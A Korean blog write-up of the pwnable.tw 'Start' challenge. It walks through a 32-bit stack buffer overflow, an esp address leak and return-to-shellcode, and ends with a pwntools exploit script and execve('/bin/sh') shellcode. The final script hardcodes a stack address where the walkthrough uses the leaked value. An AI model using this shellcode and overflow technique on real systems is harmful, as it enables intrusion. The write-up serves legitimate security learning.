일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
31 |
- fastapi를 사용한 파이썬 웹 개발
- Image Processing
- rao
- DART
- Widget
- Got
- C++
- Computer Architecture
- PCA
- pytorch
- 백준
- Stream
- system hacking
- ML
- bloc
- ARM
- FastAPI
- MDP
- BFS
- llm을 활용 단어장 앱 개발일지
- BOF
- MATLAB
- Kaggle
- Dreamhack
- Algorithm
- BAEKJOON
- 파이토치 트랜스포머를 활용한 자연어 처리와 컴퓨터비전 심층학습
- Flutter
- study book
- 영상처리
- Today
- Total
Bull
[pwnable.tw] Start (write up 일지) 본문
함수 확인
info func
아직 gdb 사용에 미숙하여 우선 아이다와 함께 디컴파일러를 통해 어떤 함수가 있는 지 보았다.
gdb에서 info func을 통해서도 확인할 수 있다.
b* _start
main으로 시작되는 함수가 _start() 인것을 알았다면 우선 브레이크 포인트를 잡아준다.
_start() 분석
우선 인자를 넣기 위해 eax,ebx,ecx,edx를 0으로 초기화 하는 것으로 보인다.
<_start+14> 부분 부터는 출력할 인자를 미리 스택에 넣어 놓는 것으로 보인다.
이부분은 eax(al), ebx(bl), edx(dl)에 인자가 들어가고 아래 int 0x80이 보이는데 이는 리눅스의 32bit 아키텍쳐에서의
syscall이다. 따라서 write()를 실행한다. (화면으로 출력)
그 아래에는 read()를 호출하는데 컴퓨터 입장에서 읽는 거니까 내가 버퍼에 넣은 값을 읽어주는 함수이다.
%eax | arg0 (%ebx) | arg1 (%ecx) | arg2 (%edx) |
0x3 | 0 | esp에 있던 주소 | 0x3c |
esp에 있던 주소 값에 0x3c만큼 버퍼를 작성할 수 있다.
전체적으로 다시보면 0x08048087에서 esp값이 ecx로 가고 값이 그대로 라는 것을 알 수 있다.
이것을 해석해서 보면 write를 썻던 스택의 첫 주소가 이제 쓸모없으니까 재활용 한것으로 생각할 수 있다.
00:0000│ ecx esp 0xffffd174 ◂— 0x2774654c ("Let'")
01:0004│ 0xffffd178 ◂— 0x74732073 ('s st')
02:0008│ 0xffffd17c ◂— 0x20747261 ('art ')
03:000c│ 0xffffd180 ◂— 0x20656874 ('the ')
04:0010│ 0xffffd184 ◂— 0x3a465443 ('CTF:')
그런데 여기 입력값이 0x3c만큼 사용할 수 있으므로 버퍼오버 플로우가 발생한다.
따라서 [0x804809c <_start+60> ret] 부분에 원하는 주소를 적어 호출할 수 있도록 변조가 가능하다.
정확히는 [0x8048099 <_start+57> add esp, 0x14]을 통해
스택을 가리키고 있는 esp가 0x14만큼 덮어씌우게되는 것이다.
원래의 로직대로라면
이렇게 맨처음에 스택에 채워진 _exit()를 호출해야되는데 그 부분을 덮어서 ret이 호출할 수 있도록 한 것이다.
①정상 작동 시
↓ [0x8048099 <_start+57> add esp, 0x14] 실행 후 ↓
② 스택 버퍼오버플로우 [0x8048099 <_start+57> add esp, 0x14] 로직에 "BBBB"를 채운 경우
따라서 21~24바이트 부분은 원하는 주소로 입력하면 된다.
나는 여기까진 했는데 그다음 쉘코드를 어떻게 해야할 지 잘 몰라서 찾아보았다.
이 다음 부터는 되게 꼬리물기 형식으로 쉘코드를 입력하기 때문에 그냥 봐서는 이해하기 되게 힘들었다 ㅋㅋ...
Find Vulnerability
우선 ret 부분에 다른 함수의 주소를 호출할 방법은 찾았다.
이제 이 부분을 다시 활용해볼 것이다.
잘 보면 esp의 값은 크게 변동되는 일이 없다.
그러면 esp의 주소를 알아내고 esp + 0x14에 셸코드를 채우면 다시 ret를 통해 esp+0x14가 호출되니까 셸코드를 실행할 것이다.
[0x8048087 <_start+39> mov ecx, esp]
이 주소는 write()를 호출하기 때문에 메모리 leak이 발생한다.
retn을 조작하고 싶으면 아래 명령어를 통해 직접 해볼 수 있다.
set {int}스택주소 = 0x8048087
write()는 메모리 버퍼에 담긴 문자를 말 그대로 컴퓨터가 write하는 거니까 그 부분의 값들이 노출될 것이다.
더 쉽게 말하자면 처음 "Let's start the CTF:" 부분도 0x14만큼 메모리 스택 버퍼에 있는 값들이 노출된 것이다.
즉,
↓ ret ↓
그런데 이값은
맨 처음에 넣었던 esp주소이다.
따라서 esp의 주소가 노출될 수 있고 esp +0x14 위치에 셸코드를 넣으면 다시 read()를 통해 셸코드의 주소가 반환되면서
셸을 획득할 수 있다.
(참고로 esp주소는 실행마다 바뀐다.)
Exploit
1. 첫 순회 시 read()의 ret 조작
from pwn import *
context.log_level = 'debug'
p = process("../start")
# p = remote("chall.pwnable.tw",10000)
payload = b''
payload += b'A'*20
payload += p32(0x8048087)
0x18(24)만큼의 바이트를 보냈다. 그러면 의도대로 다시 write()로 돌아갈 것이다.
2. 두 번째 순회에서 esp 주소 획득
leak = u32(p.recv(4)) # esp
print('leak:',hex(leak))
위에 했던 설명과 같이 leak된 주소는 맨 처음
[0x8048060 <_start> push esp]
를 통해 esp를 알아낼 수 있었다.
3. 두 번째 순회의 read()를 통해 셸 실행
payload = b''
payload += b'A'*20
payload += p32(leak+0x14)
payload += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
p.sendline(payload)
1번을 다시 진행했다고 생각하면 된다.
참고로 셸코드와 1번에서의 주소조작은 둘다 0x3c 보다 작다.
그러면 leak은 스택에 있는 주소이고 leak+0x14로 eip가 이동하게 되고,
leak+0x14에는 셸코드가 적혀있어서 그것을 실행하게 된다.
셸을 획득했다. flag의 경로는 /home/start/flag이다.
전체 코드
from pwn import *
context.log_level = 'debug'
# p = process("../start")
p = remote("chall.pwnable.tw",10000)
payload = b''
payload += b'A'*20
payload += p32(0x8048087)
p.sendafter("CTF:",payload)
leak = u32(p.recv(4)) # esp
print('leak:',hex(leak))
payload = b''
payload += b'A'*20
payload += p32(0xffffd17c+0x14)
payload += b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'
p.sendline(payload)
p.interactive()